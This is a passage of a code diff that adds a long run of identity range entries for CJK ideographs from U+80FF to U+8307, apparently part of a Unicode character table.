+ ["\u80FF", "\u80FF"], /* CJK Ideograph */
+ ["\u8100", "\u8100"], /* CJK Ideograph */
+ ["\u8101", "\u8101"], /* CJK Ideograph */
+ ["\u8102", "\u8102"], /* CJK Ideograph */
+ ["\u8103", "\u8103"], /* CJK Ideograph */
+ ["\u8104", "\u8104"], /* CJK Ideograph */
+ ["\u8105", "\u8105"], /* CJK Ideograph */
+ ["\u8106", "\u8106"], /* CJK Ideograph */
+ ["\u8107", "\u8107"], /* CJK Ideograph */
+ ["\u8108", "\u8108"], /* CJK Ideograph */
+ ["\u8109", "\u8109"], /* CJK Ideograph */
+ ["\u810A", "\u810A"], /* CJK Ideograph */
+ ["\u810B", "\u810B"], /* CJK Ideograph */
+ ["\u810C", "\u810C"], /* CJK Ideograph */
+ ["\u810D", "\u810D"], /* CJK Ideograph */
+ ["\u810E", "\u810E"], /* CJK Ideograph */
+ ["\u810F", "\u810F"], /* CJK Ideograph */
+ ["\u8110", "\u8110"], /* CJK Ideograph */
+ ["\u8111", "\u8111"], /* CJK Ideograph */
+ ["\u8112", "\u8112"], /* CJK Ideograph */
+ ["\u8113", "\u8113"], /* CJK Ideograph */
+ ["\u8114", "\u8114"], /* CJK Ideograph */
+ ["\u8115", "\u8115"], /* CJK Ideograph */
+ ["\u8116", "\u8116"], /* CJK Ideograph */
+ ["\u8117", "\u8117"], /* CJK Ideograph */
+ ["\u8118", "\u8118"], /* CJK Ideograph */
+ ["\u8119", "\u8119"], /* CJK Ideograph */
+ ["\u811A", "\u811A"], /* CJK Ideograph */
+ ["\u811B", "\u811B"], /* CJK Ideograph */
+ ["\u811C", "\u811C"], /* CJK Ideograph */
+ ["\u811D", "\u811D"], /* CJK Ideograph */
+ ["\u811E", "\u811E"], /* CJK Ideograph */
+ ["\u811F", "\u811F"], /* CJK Ideograph */
+ ["\u8120", "\u8120"], /* CJK Ideograph */
+ ["\u8121", "\u8121"], /* CJK Ideograph */
+ ["\u8122", "\u8122"], /* CJK Ideograph */
+ ["\u8123", "\u8123"], /* CJK Ideograph */
+ ["\u8124", "\u8124"], /* CJK Ideograph */
+ ["\u8125", "\u8125"], /* CJK Ideograph */
+ ["\u8126", "\u8126"], /* CJK Ideograph */
+ ["\u8127", "\u8127"], /* CJK Ideograph */
+ ["\u8128", "\u8128"], /* CJK Ideograph */
+ ["\u8129", "\u8129"], /* CJK Ideograph */
+ ["\u812A", "\u812A"], /* CJK Ideograph */
+ ["\u812B", "\u812B"], /* CJK Ideograph */
+ ["\u812C", "\u812C"], /* CJK Ideograph */
+ ["\u812D", "\u812D"], /* CJK Ideograph */
+ ["\u812E", "\u812E"], /* CJK Ideograph */
+ ["\u812F", "\u812F"], /* CJK Ideograph */
+ ["\u8130", "\u8130"], /* CJK Ideograph */
+ ["\u8131", "\u8131"], /* CJK Ideograph */
+ ["\u8132", "\u8132"], /* CJK Ideograph */
+ ["\u8133", "\u8133"], /* CJK Ideograph */
+ ["\u8134", "\u8134"], /* CJK Ideograph */
+ ["\u8135", "\u8135"], /* CJK Ideograph */
+ ["\u8136", "\u8136"], /* CJK Ideograph */
+ ["\u8137", "\u8137"], /* CJK Ideograph */
+ ["\u8138", "\u8138"], /* CJK Ideograph */
+ ["\u8139", "\u8139"], /* CJK Ideograph */
+ ["\u813A", "\u813A"], /* CJK Ideograph */
+ ["\u813B", "\u813B"], /* CJK Ideograph */
+ ["\u813C", "\u813C"], /* CJK Ideograph */
+ ["\u813D", "\u813D"], /* CJK Ideograph */
+ ["\u813E", "\u813E"], /* CJK Ideograph */
+ ["\u813F", "\u813F"], /* CJK Ideograph */
+ ["\u8140", "\u8140"], /* CJK Ideograph */
+ ["\u8141", "\u8141"], /* CJK Ideograph */
+ ["\u8142", "\u8142"], /* CJK Ideograph */
+ ["\u8143", "\u8143"], /* CJK Ideograph */
+ ["\u8144", "\u8144"], /* CJK Ideograph */
+ ["\u8145", "\u8145"], /* CJK Ideograph */
+ ["\u8146", "\u8146"], /* CJK Ideograph */
+ ["\u8147", "\u8147"], /* CJK Ideograph */
+ ["\u8148", "\u8148"], /* CJK Ideograph */
+ ["\u8149", "\u8149"], /* CJK Ideograph */
+ ["\u814A", "\u814A"], /* CJK Ideograph */
+ ["\u814B", "\u814B"], /* CJK Ideograph */
+ ["\u814C", "\u814C"], /* CJK Ideograph */
+ ["\u814D", "\u814D"], /* CJK Ideograph */
+ ["\u814E", "\u814E"], /* CJK Ideograph */
+ ["\u814F", "\u814F"], /* CJK Ideograph */
+ ["\u8150", "\u8150"], /* CJK Ideograph */
+ ["\u8151", "\u8151"], /* CJK Ideograph */
+ ["\u8152", "\u8152"], /* CJK Ideograph */
+ ["\u8153", "\u8153"], /* CJK Ideograph */
+ ["\u8154", "\u8154"], /* CJK Ideograph */
+ ["\u8155", "\u8155"], /* CJK Ideograph */
+ ["\u8156", "\u8156"], /* CJK Ideograph */
+ ["\u8157", "\u8157"], /* CJK Ideograph */
+ ["\u8158", "\u8158"], /* CJK Ideograph */
+ ["\u8159", "\u8159"], /* CJK Ideograph */
+ ["\u815A", "\u815A"], /* CJK Ideograph */
+ ["\u815B", "\u815B"], /* CJK Ideograph */
+ ["\u815C", "\u815C"], /* CJK Ideograph */
+ ["\u815D", "\u815D"], /* CJK Ideograph */
+ ["\u815E", "\u815E"], /* CJK Ideograph */
+ ["\u815F", "\u815F"], /* CJK Ideograph */
+ ["\u8160", "\u8160"], /* CJK Ideograph */
+ ["\u8161", "\u8161"], /* CJK Ideograph */
+ ["\u8162", "\u8162"], /* CJK Ideograph */
+ ["\u8163", "\u8163"], /* CJK Ideograph */
+ ["\u8164", "\u8164"], /* CJK Ideograph */
+ ["\u8165", "\u8165"], /* CJK Ideograph */
+ ["\u8166", "\u8166"], /* CJK Ideograph */
+ ["\u8167", "\u8167"], /* CJK Ideograph */
+ ["\u8168", "\u8168"], /* CJK Ideograph */
+ ["\u8169", "\u8169"], /* CJK Ideograph */
+ ["\u816A", "\u816A"], /* CJK Ideograph */
+ ["\u816B", "\u816B"], /* CJK Ideograph */
+ ["\u816C", "\u816C"], /* CJK Ideograph */
+ ["\u816D", "\u816D"], /* CJK Ideograph */
+ ["\u816E", "\u816E"], /* CJK Ideograph */
+ ["\u816F", "\u816F"], /* CJK Ideograph */
+ ["\u8170", "\u8170"], /* CJK Ideograph */
+ ["\u8171", "\u8171"], /* CJK Ideograph */
+ ["\u8172", "\u8172"], /* CJK Ideograph */
+ ["\u8173", "\u8173"], /* CJK Ideograph */
+ ["\u8174", "\u8174"], /* CJK Ideograph */
+ ["\u8175", "\u8175"], /* CJK Ideograph */
+ ["\u8176", "\u8176"], /* CJK Ideograph */
+ ["\u8177", "\u8177"], /* CJK Ideograph */
+ ["\u8178", "\u8178"], /* CJK Ideograph */
+ ["\u8179", "\u8179"], /* CJK Ideograph */
+ ["\u817A", "\u817A"], /* CJK Ideograph */
+ ["\u817B", "\u817B"], /* CJK Ideograph */
+ ["\u817C", "\u817C"], /* CJK Ideograph */
+ ["\u817D", "\u817D"], /* CJK Ideograph */
+ ["\u817E", "\u817E"], /* CJK Ideograph */
+ ["\u817F", "\u817F"], /* CJK Ideograph */
+ ["\u8180", "\u8180"], /* CJK Ideograph */
+ ["\u8181", "\u8181"], /* CJK Ideograph */
+ ["\u8182", "\u8182"], /* CJK Ideograph */
+ ["\u8183", "\u8183"], /* CJK Ideograph */
+ ["\u8184", "\u8184"], /* CJK Ideograph */
+ ["\u8185", "\u8185"], /* CJK Ideograph */
+ ["\u8186", "\u8186"], /* CJK Ideograph */
+ ["\u8187", "\u8187"], /* CJK Ideograph */
+ ["\u8188", "\u8188"], /* CJK Ideograph */
+ ["\u8189", "\u8189"], /* CJK Ideograph */
+ ["\u818A", "\u818A"], /* CJK Ideograph */
+ ["\u818B", "\u818B"], /* CJK Ideograph */
+ ["\u818C", "\u818C"], /* CJK Ideograph */
+ ["\u818D", "\u818D"], /* CJK Ideograph */
+ ["\u818E", "\u818E"], /* CJK Ideograph */
+ ["\u818F", "\u818F"], /* CJK Ideograph */
+ ["\u8190", "\u8190"], /* CJK Ideograph */
+ ["\u8191", "\u8191"], /* CJK Ideograph */
+ ["\u8192", "\u8192"], /* CJK Ideograph */
+ ["\u8193", "\u8193"], /* CJK Ideograph */
+ ["\u8194", "\u8194"], /* CJK Ideograph */
+ ["\u8195", "\u8195"], /* CJK Ideograph */
+ ["\u8196", "\u8196"], /* CJK Ideograph */
+ ["\u8197", "\u8197"], /* CJK Ideograph */
+ ["\u8198", "\u8198"], /* CJK Ideograph */
+ ["\u8199", "\u8199"], /* CJK Ideograph */
+ ["\u819A", "\u819A"], /* CJK Ideograph */
+ ["\u819B", "\u819B"], /* CJK Ideograph */
+ ["\u819C", "\u819C"], /* CJK Ideograph */
+ ["\u819D", "\u819D"], /* CJK Ideograph */
+ ["\u819E", "\u819E"], /* CJK Ideograph */
+ ["\u819F", "\u819F"], /* CJK Ideograph */
+ ["\u81A0", "\u81A0"], /* CJK Ideograph */
+ ["\u81A1", "\u81A1"], /* CJK Ideograph */
+ ["\u81A2", "\u81A2"], /* CJK Ideograph */
+ ["\u81A3", "\u81A3"], /* CJK Ideograph */
+ ["\u81A4", "\u81A4"], /* CJK Ideograph */
+ ["\u81A5", "\u81A5"], /* CJK Ideograph */
+ ["\u81A6", "\u81A6"], /* CJK Ideograph */
+ ["\u81A7", "\u81A7"], /* CJK Ideograph */
+ ["\u81A8", "\u81A8"], /* CJK Ideograph */
+ ["\u81A9", "\u81A9"], /* CJK Ideograph */
+ ["\u81AA", "\u81AA"], /* CJK Ideograph */
+ ["\u81AB", "\u81AB"], /* CJK Ideograph */
+ ["\u81AC", "\u81AC"], /* CJK Ideograph */
+ ["\u81AD", "\u81AD"], /* CJK Ideograph */
+ ["\u81AE", "\u81AE"], /* CJK Ideograph */
+ ["\u81AF", "\u81AF"], /* CJK Ideograph */
+ ["\u81B0", "\u81B0"], /* CJK Ideograph */
+ ["\u81B1", "\u81B1"], /* CJK Ideograph */
+ ["\u81B2", "\u81B2"], /* CJK Ideograph */
+ ["\u81B3", "\u81B3"], /* CJK Ideograph */
+ ["\u81B4", "\u81B4"], /* CJK Ideograph */
+ ["\u81B5", "\u81B5"], /* CJK Ideograph */
+ ["\u81B6", "\u81B6"], /* CJK Ideograph */
+ ["\u81B7", "\u81B7"], /* CJK Ideograph */
+ ["\u81B8", "\u81B8"], /* CJK Ideograph */
+ ["\u81B9", "\u81B9"], /* CJK Ideograph */
+ ["\u81BA", "\u81BA"], /* CJK Ideograph */
+ ["\u81BB", "\u81BB"], /* CJK Ideograph */
+ ["\u81BC", "\u81BC"], /* CJK Ideograph */
+ ["\u81BD", "\u81BD"], /* CJK Ideograph */
+ ["\u81BE", "\u81BE"], /* CJK Ideograph */
+ ["\u81BF", "\u81BF"], /* CJK Ideograph */
+ ["\u81C0", "\u81C0"], /* CJK Ideograph */
+ ["\u81C1", "\u81C1"], /* CJK Ideograph */
+ ["\u81C2", "\u81C2"], /* CJK Ideograph */
+ ["\u81C3", "\u81C3"], /* CJK Ideograph */
+ ["\u81C4", "\u81C4"], /* CJK Ideograph */
+ ["\u81C5", "\u81C5"], /* CJK Ideograph */
+ ["\u81C6", "\u81C6"], /* CJK Ideograph */
+ ["\u81C7", "\u81C7"], /* CJK Ideograph */
+ ["\u81C8", "\u81C8"], /* CJK Ideograph */
+ ["\u81C9", "\u81C9"], /* CJK Ideograph */
+ ["\u81CA", "\u81CA"], /* CJK Ideograph */
+ ["\u81CB", "\u81CB"], /* CJK Ideograph */
+ ["\u81CC", "\u81CC"], /* CJK Ideograph */
+ ["\u81CD", "\u81CD"], /* CJK Ideograph */
+ ["\u81CE", "\u81CE"], /* CJK Ideograph */
+ ["\u81CF", "\u81CF"], /* CJK Ideograph */
+ ["\u81D0", "\u81D0"], /* CJK Ideograph */
+ ["\u81D1", "\u81D1"], /* CJK Ideograph */
+ ["\u81D2", "\u81D2"], /* CJK Ideograph */
+ ["\u81D3", "\u81D3"], /* CJK Ideograph */
+ ["\u81D4", "\u81D4"], /* CJK Ideograph */
+ ["\u81D5", "\u81D5"], /* CJK Ideograph */
+ ["\u81D6", "\u81D6"], /* CJK Ideograph */
+ ["\u81D7", "\u81D7"], /* CJK Ideograph */
+ ["\u81D8", "\u81D8"], /* CJK Ideograph */
+ ["\u81D9", "\u81D9"], /* CJK Ideograph */
+ ["\u81DA", "\u81DA"], /* CJK Ideograph */
+ ["\u81DB", "\u81DB"], /* CJK Ideograph */
+ ["\u81DC", "\u81DC"], /* CJK Ideograph */
+ ["\u81DD", "\u81DD"], /* CJK Ideograph */
+ ["\u81DE", "\u81DE"], /* CJK Ideograph */
+ ["\u81DF", "\u81DF"], /* CJK Ideograph */
+ ["\u81E0", "\u81E0"], /* CJK Ideograph */
+ ["\u81E1", "\u81E1"], /* CJK Ideograph */
+ ["\u81E2", "\u81E2"], /* CJK Ideograph */
+ ["\u81E3", "\u81E3"], /* CJK Ideograph */
+ ["\u81E4", "\u81E4"], /* CJK Ideograph */
+ ["\u81E5", "\u81E5"], /* CJK Ideograph */
+ ["\u81E6", "\u81E6"], /* CJK Ideograph */
+ ["\u81E7", "\u81E7"], /* CJK Ideograph */
+ ["\u81E8", "\u81E8"], /* CJK Ideograph */
+ ["\u81E9", "\u81E9"], /* CJK Ideograph */
+ ["\u81EA", "\u81EA"], /* CJK Ideograph */
+ ["\u81EB", "\u81EB"], /* CJK Ideograph */
+ ["\u81EC", "\u81EC"], /* CJK Ideograph */
+ ["\u81ED", "\u81ED"], /* CJK Ideograph */
+ ["\u81EE", "\u81EE"], /* CJK Ideograph */
+ ["\u81EF", "\u81EF"], /* CJK Ideograph */
+ ["\u81F0", "\u81F0"], /* CJK Ideograph */
+ ["\u81F1", "\u81F1"], /* CJK Ideograph */
+ ["\u81F2", "\u81F2"], /* CJK Ideograph */
+ ["\u81F3", "\u81F3"], /* CJK Ideograph */
+ ["\u81F4", "\u81F4"], /* CJK Ideograph */
+ ["\u81F5", "\u81F5"], /* CJK Ideograph */
+ ["\u81F6", "\u81F6"], /* CJK Ideograph */
+ ["\u81F7", "\u81F7"], /* CJK Ideograph */
+ ["\u81F8", "\u81F8"], /* CJK Ideograph */
+ ["\u81F9", "\u81F9"], /* CJK Ideograph */
+ ["\u81FA", "\u81FA"], /* CJK Ideograph */
+ ["\u81FB", "\u81FB"], /* CJK Ideograph */
+ ["\u81FC", "\u81FC"], /* CJK Ideograph */
+ ["\u81FD", "\u81FD"], /* CJK Ideograph */
+ ["\u81FE", "\u81FE"], /* CJK Ideograph */
+ ["\u81FF", "\u81FF"], /* CJK Ideograph */
+ ["\u8200", "\u8200"], /* CJK Ideograph */
+ ["\u8201", "\u8201"], /* CJK Ideograph */
+ ["\u8202", "\u8202"], /* CJK Ideograph */
+ ["\u8203", "\u8203"], /* CJK Ideograph */
+ ["\u8204", "\u8204"], /* CJK Ideograph */
+ ["\u8205", "\u8205"], /* CJK Ideograph */
+ ["\u8206", "\u8206"], /* CJK Ideograph */
+ ["\u8207", "\u8207"], /* CJK Ideograph */
+ ["\u8208", "\u8208"], /* CJK Ideograph */
+ ["\u8209", "\u8209"], /* CJK Ideograph */
+ ["\u820A", "\u820A"], /* CJK Ideograph */
+ ["\u820B", "\u820B"], /* CJK Ideograph */
+ ["\u820C", "\u820C"], /* CJK Ideograph */
+ ["\u820D", "\u820D"], /* CJK Ideograph */
+ ["\u820E", "\u820E"], /* CJK Ideograph */
+ ["\u820F", "\u820F"], /* CJK Ideograph */
+ ["\u8210", "\u8210"], /* CJK Ideograph */
+ ["\u8211", "\u8211"], /* CJK Ideograph */
+ ["\u8212", "\u8212"], /* CJK Ideograph */
+ ["\u8213", "\u8213"], /* CJK Ideograph */
+ ["\u8214", "\u8214"], /* CJK Ideograph */
+ ["\u8215", "\u8215"], /* CJK Ideograph */
+ ["\u8216", "\u8216"], /* CJK Ideograph */
+ ["\u8217", "\u8217"], /* CJK Ideograph */
+ ["\u8218", "\u8218"], /* CJK Ideograph */
+ ["\u8219", "\u8219"], /* CJK Ideograph */
+ ["\u821A", "\u821A"], /* CJK Ideograph */
+ ["\u821B", "\u821B"], /* CJK Ideograph */
+ ["\u821C", "\u821C"], /* CJK Ideograph */
+ ["\u821D", "\u821D"], /* CJK Ideograph */
+ ["\u821E", "\u821E"], /* CJK Ideograph */
+ ["\u821F", "\u821F"], /* CJK Ideograph */
+ ["\u8220", "\u8220"], /* CJK Ideograph */
+ ["\u8221", "\u8221"], /* CJK Ideograph */
+ ["\u8222", "\u8222"], /* CJK Ideograph */
+ ["\u8223", "\u8223"], /* CJK Ideograph */
+ ["\u8224", "\u8224"], /* CJK Ideograph */
+ ["\u8225", "\u8225"], /* CJK Ideograph */
+ ["\u8226", "\u8226"], /* CJK Ideograph */
+ ["\u8227", "\u8227"], /* CJK Ideograph */
+ ["\u8228", "\u8228"], /* CJK Ideograph */
+ ["\u8229", "\u8229"], /* CJK Ideograph */
+ ["\u822A", "\u822A"], /* CJK Ideograph */
+ ["\u822B", "\u822B"], /* CJK Ideograph */
+ ["\u822C", "\u822C"], /* CJK Ideograph */
+ ["\u822D", "\u822D"], /* CJK Ideograph */
+ ["\u822E", "\u822E"], /* CJK Ideograph */
+ ["\u822F", "\u822F"], /* CJK Ideograph */
+ ["\u8230", "\u8230"], /* CJK Ideograph */
+ ["\u8231", "\u8231"], /* CJK Ideograph */
+ ["\u8232", "\u8232"], /* CJK Ideograph */
+ ["\u8233", "\u8233"], /* CJK Ideograph */
+ ["\u8234", "\u8234"], /* CJK Ideograph */
+ ["\u8235", "\u8235"], /* CJK Ideograph */
+ ["\u8236", "\u8236"], /* CJK Ideograph */
+ ["\u8237", "\u8237"], /* CJK Ideograph */
+ ["\u8238", "\u8238"], /* CJK Ideograph */
+ ["\u8239", "\u8239"], /* CJK Ideograph */
+ ["\u823A", "\u823A"], /* CJK Ideograph */
+ ["\u823B", "\u823B"], /* CJK Ideograph */
+ ["\u823C", "\u823C"], /* CJK Ideograph */
+ ["\u823D", "\u823D"], /* CJK Ideograph */
+ ["\u823E", "\u823E"], /* CJK Ideograph */
+ ["\u823F", "\u823F"], /* CJK Ideograph */
+ ["\u8240", "\u8240"], /* CJK Ideograph */
+ ["\u8241", "\u8241"], /* CJK Ideograph */
+ ["\u8242", "\u8242"], /* CJK Ideograph */
+ ["\u8243", "\u8243"], /* CJK Ideograph */
+ ["\u8244", "\u8244"], /* CJK Ideograph */
+ ["\u8245", "\u8245"], /* CJK Ideograph */
+ ["\u8246", "\u8246"], /* CJK Ideograph */
+ ["\u8247", "\u8247"], /* CJK Ideograph */
+ ["\u8248", "\u8248"], /* CJK Ideograph */
+ ["\u8249", "\u8249"], /* CJK Ideograph */
+ ["\u824A", "\u824A"], /* CJK Ideograph */
+ ["\u824B", "\u824B"], /* CJK Ideograph */
+ ["\u824C", "\u824C"], /* CJK Ideograph */
+ ["\u824D", "\u824D"], /* CJK Ideograph */
+ ["\u824E", "\u824E"], /* CJK Ideograph */
+ ["\u824F", "\u824F"], /* CJK Ideograph */
+ ["\u8250", "\u8250"], /* CJK Ideograph */
+ ["\u8251", "\u8251"], /* CJK Ideograph */
+ ["\u8252", "\u8252"], /* CJK Ideograph */
+ ["\u8253", "\u8253"], /* CJK Ideograph */
+ ["\u8254", "\u8254"], /* CJK Ideograph */
+ ["\u8255", "\u8255"], /* CJK Ideograph */
+ ["\u8256", "\u8256"], /* CJK Ideograph */
+ ["\u8257", "\u8257"], /* CJK Ideograph */
+ ["\u8258", "\u8258"], /* CJK Ideograph */
+ ["\u8259", "\u8259"], /* CJK Ideograph */
+ ["\u825A", "\u825A"], /* CJK Ideograph */
+ ["\u825B", "\u825B"], /* CJK Ideograph */
+ ["\u825C", "\u825C"], /* CJK Ideograph */
+ ["\u825D", "\u825D"], /* CJK Ideograph */
+ ["\u825E", "\u825E"], /* CJK Ideograph */
+ ["\u825F", "\u825F"], /* CJK Ideograph */
+ ["\u8260", "\u8260"], /* CJK Ideograph */
+ ["\u8261", "\u8261"], /* CJK Ideograph */
+ ["\u8262", "\u8262"], /* CJK Ideograph */
+ ["\u8263", "\u8263"], /* CJK Ideograph */
+ ["\u8264", "\u8264"], /* CJK Ideograph */
+ ["\u8265", "\u8265"], /* CJK Ideograph */
+ ["\u8266", "\u8266"], /* CJK Ideograph */
+ ["\u8267", "\u8267"], /* CJK Ideograph */
+ ["\u8268", "\u8268"], /* CJK Ideograph */
+ ["\u8269", "\u8269"], /* CJK Ideograph */
+ ["\u826A", "\u826A"], /* CJK Ideograph */
+ ["\u826B", "\u826B"], /* CJK Ideograph */
+ ["\u826C", "\u826C"], /* CJK Ideograph */
+ ["\u826D", "\u826D"], /* CJK Ideograph */
+ ["\u826E", "\u826E"], /* CJK Ideograph */
+ ["\u826F", "\u826F"], /* CJK Ideograph */
+ ["\u8270", "\u8270"], /* CJK Ideograph */
+ ["\u8271", "\u8271"], /* CJK Ideograph */
+ ["\u8272", "\u8272"], /* CJK Ideograph */
+ ["\u8273", "\u8273"], /* CJK Ideograph */
+ ["\u8274", "\u8274"], /* CJK Ideograph */
+ ["\u8275", "\u8275"], /* CJK Ideograph */
+ ["\u8276", "\u8276"], /* CJK Ideograph */
+ ["\u8277", "\u8277"], /* CJK Ideograph */
+ ["\u8278", "\u8278"], /* CJK Ideograph */
+ ["\u8279", "\u8279"], /* CJK Ideograph */
+ ["\u827A", "\u827A"], /* CJK Ideograph */
+ ["\u827B", "\u827B"], /* CJK Ideograph */
+ ["\u827C", "\u827C"], /* CJK Ideograph */
+ ["\u827D", "\u827D"], /* CJK Ideograph */
+ ["\u827E", "\u827E"], /* CJK Ideograph */
+ ["\u827F", "\u827F"], /* CJK Ideograph */
+ ["\u8280", "\u8280"], /* CJK Ideograph */
+ ["\u8281", "\u8281"], /* CJK Ideograph */
+ ["\u8282", "\u8282"], /* CJK Ideograph */
+ ["\u8283", "\u8283"], /* CJK Ideograph */
+ ["\u8284", "\u8284"], /* CJK Ideograph */
+ ["\u8285", "\u8285"], /* CJK Ideograph */
+ ["\u8286", "\u8286"], /* CJK Ideograph */
+ ["\u8287", "\u8287"], /* CJK Ideograph */
+ ["\u8288", "\u8288"], /* CJK Ideograph */
+ ["\u8289", "\u8289"], /* CJK Ideograph */
+ ["\u828A", "\u828A"], /* CJK Ideograph */
+ ["\u828B", "\u828B"], /* CJK Ideograph */
+ ["\u828C", "\u828C"], /* CJK Ideograph */
+ ["\u828D", "\u828D"], /* CJK Ideograph */
+ ["\u828E", "\u828E"], /* CJK Ideograph */
+ ["\u828F", "\u828F"], /* CJK Ideograph */
+ ["\u8290", "\u8290"], /* CJK Ideograph */
+ ["\u8291", "\u8291"], /* CJK Ideograph */
+ ["\u8292", "\u8292"], /* CJK Ideograph */
+ ["\u8293", "\u8293"], /* CJK Ideograph */
+ ["\u8294", "\u8294"], /* CJK Ideograph */
+ ["\u8295", "\u8295"], /* CJK Ideograph */
+ ["\u8296", "\u8296"], /* CJK Ideograph */
+ ["\u8297", "\u8297"], /* CJK Ideograph */
+ ["\u8298", "\u8298"], /* CJK Ideograph */
+ ["\u8299", "\u8299"], /* CJK Ideograph */
+ ["\u829A", "\u829A"], /* CJK Ideograph */
+ ["\u829B", "\u829B"], /* CJK Ideograph */
+ ["\u829C", "\u829C"], /* CJK Ideograph */
+ ["\u829D", "\u829D"], /* CJK Ideograph */
+ ["\u829E", "\u829E"], /* CJK Ideograph */
+ ["\u829F", "\u829F"], /* CJK Ideograph */
+ ["\u82A0", "\u82A0"], /* CJK Ideograph */
+ ["\u82A1", "\u82A1"], /* CJK Ideograph */
+ ["\u82A2", "\u82A2"], /* CJK Ideograph */
+ ["\u82A3", "\u82A3"], /* CJK Ideograph */
+ ["\u82A4", "\u82A4"], /* CJK Ideograph */
+ ["\u82A5", "\u82A5"], /* CJK Ideograph */
+ ["\u82A6", "\u82A6"], /* CJK Ideograph */
+ ["\u82A7", "\u82A7"], /* CJK Ideograph */
+ ["\u82A8", "\u82A8"], /* CJK Ideograph */
+ ["\u82A9", "\u82A9"], /* CJK Ideograph */
+ ["\u82AA", "\u82AA"], /* CJK Ideograph */
+ ["\u82AB", "\u82AB"], /* CJK Ideograph */
+ ["\u82AC", "\u82AC"], /* CJK Ideograph */
+ ["\u82AD", "\u82AD"], /* CJK Ideograph */
+ ["\u82AE", "\u82AE"], /* CJK Ideograph */
+ ["\u82AF", "\u82AF"], /* CJK Ideograph */
+ ["\u82B0", "\u82B0"], /* CJK Ideograph */
+ ["\u82B1", "\u82B1"], /* CJK Ideograph */
+ ["\u82B2", "\u82B2"], /* CJK Ideograph */
+ ["\u82B3", "\u82B3"], /* CJK Ideograph */
+ ["\u82B4", "\u82B4"], /* CJK Ideograph */
+ ["\u82B5", "\u82B5"], /* CJK Ideograph */
+ ["\u82B6", "\u82B6"], /* CJK Ideograph */
+ ["\u82B7", "\u82B7"], /* CJK Ideograph */
+ ["\u82B8", "\u82B8"], /* CJK Ideograph */
+ ["\u82B9", "\u82B9"], /* CJK Ideograph */
+ ["\u82BA", "\u82BA"], /* CJK Ideograph */
+ ["\u82BB", "\u82BB"], /* CJK Ideograph */
+ ["\u82BC", "\u82BC"], /* CJK Ideograph */
+ ["\u82BD", "\u82BD"], /* CJK Ideograph */
+ ["\u82BE", "\u82BE"], /* CJK Ideograph */
+ ["\u82BF", "\u82BF"], /* CJK Ideograph */
+ ["\u82C0", "\u82C0"], /* CJK Ideograph */
+ ["\u82C1", "\u82C1"], /* CJK Ideograph */
+ ["\u82C2", "\u82C2"], /* CJK Ideograph */
+ ["\u82C3", "\u82C3"], /* CJK Ideograph */
+ ["\u82C4", "\u82C4"], /* CJK Ideograph */
+ ["\u82C5", "\u82C5"], /* CJK Ideograph */
+ ["\u82C6", "\u82C6"], /* CJK Ideograph */
+ ["\u82C7", "\u82C7"], /* CJK Ideograph */
+ ["\u82C8", "\u82C8"], /* CJK Ideograph */
+ ["\u82C9", "\u82C9"], /* CJK Ideograph */
+ ["\u82CA", "\u82CA"], /* CJK Ideograph */
+ ["\u82CB", "\u82CB"], /* CJK Ideograph */
+ ["\u82CC", "\u82CC"], /* CJK Ideograph */
+ ["\u82CD", "\u82CD"], /* CJK Ideograph */
+ ["\u82CE", "\u82CE"], /* CJK Ideograph */
+ ["\u82CF", "\u82CF"], /* CJK Ideograph */
+ ["\u82D0", "\u82D0"], /* CJK Ideograph */
+ ["\u82D1", "\u82D1"], /* CJK Ideograph */
+ ["\u82D2", "\u82D2"], /* CJK Ideograph */
+ ["\u82D3", "\u82D3"], /* CJK Ideograph */
+ ["\u82D4", "\u82D4"], /* CJK Ideograph */
+ ["\u82D5", "\u82D5"], /* CJK Ideograph */
+ ["\u82D6", "\u82D6"], /* CJK Ideograph */
+ ["\u82D7", "\u82D7"], /* CJK Ideograph */
+ ["\u82D8", "\u82D8"], /* CJK Ideograph */
+ ["\u82D9", "\u82D9"], /* CJK Ideograph */
+ ["\u82DA", "\u82DA"], /* CJK Ideograph */
+ ["\u82DB", "\u82DB"], /* CJK Ideograph */
+ ["\u82DC", "\u82DC"], /* CJK Ideograph */
+ ["\u82DD", "\u82DD"], /* CJK Ideograph */
+ ["\u82DE", "\u82DE"], /* CJK Ideograph */
+ ["\u82DF", "\u82DF"], /* CJK Ideograph */
+ ["\u82E0", "\u82E0"], /* CJK Ideograph */
+ ["\u82E1", "\u82E1"], /* CJK Ideograph */
+ ["\u82E2", "\u82E2"], /* CJK Ideograph */
+ ["\u82E3", "\u82E3"], /* CJK Ideograph */
+ ["\u82E4", "\u82E4"], /* CJK Ideograph */
+ ["\u82E5", "\u82E5"], /* CJK Ideograph */
+ ["\u82E6", "\u82E6"], /* CJK Ideograph */
+ ["\u82E7", "\u82E7"], /* CJK Ideograph */
+ ["\u82E8", "\u82E8"], /* CJK Ideograph */
+ ["\u82E9", "\u82E9"], /* CJK Ideograph */
+ ["\u82EA", "\u82EA"], /* CJK Ideograph */
+ ["\u82EB", "\u82EB"], /* CJK Ideograph */
+ ["\u82EC", "\u82EC"], /* CJK Ideograph */
+ ["\u82ED", "\u82ED"], /* CJK Ideograph */
+ ["\u82EE", "\u82EE"], /* CJK Ideograph */
+ ["\u82EF", "\u82EF"], /* CJK Ideograph */
+ ["\u82F0", "\u82F0"], /* CJK Ideograph */
+ ["\u82F1", "\u82F1"], /* CJK Ideograph */
+ ["\u82F2", "\u82F2"], /* CJK Ideograph */
+ ["\u82F3", "\u82F3"], /* CJK Ideograph */
+ ["\u82F4", "\u82F4"], /* CJK Ideograph */
+ ["\u82F5", "\u82F5"], /* CJK Ideograph */
+ ["\u82F6", "\u82F6"], /* CJK Ideograph */
+ ["\u82F7", "\u82F7"], /* CJK Ideograph */
+ ["\u82F8", "\u82F8"], /* CJK Ideograph */
+ ["\u82F9", "\u82F9"], /* CJK Ideograph */
+ ["\u82FA", "\u82FA"], /* CJK Ideograph */
+ ["\u82FB", "\u82FB"], /* CJK Ideograph */
+ ["\u82FC", "\u82FC"], /* CJK Ideograph */
+ ["\u82FD", "\u82FD"], /* CJK Ideograph */
+ ["\u82FE", "\u82FE"], /* CJK Ideograph */
+ ["\u82FF", "\u82FF"], /* CJK Ideograph */
+ ["\u8300", "\u8300"], /* CJK Ideograph */
+ ["\u8301", "\u8301"], /* CJK Ideograph */
+ ["\u8302", "\u8302"], /* CJK Ideograph */
+ ["\u8303", "\u8303"], /* CJK Ideograph */
+ ["\u8304", "\u8304"], /* CJK Ideograph */
+ ["\u8305", "\u8305"], /* CJK Ideograph */
+ ["\u8306", "\u8306"], /* CJK Ideograph */
+ ["\u8307", "\u8307"], /* CJK Ideograph */
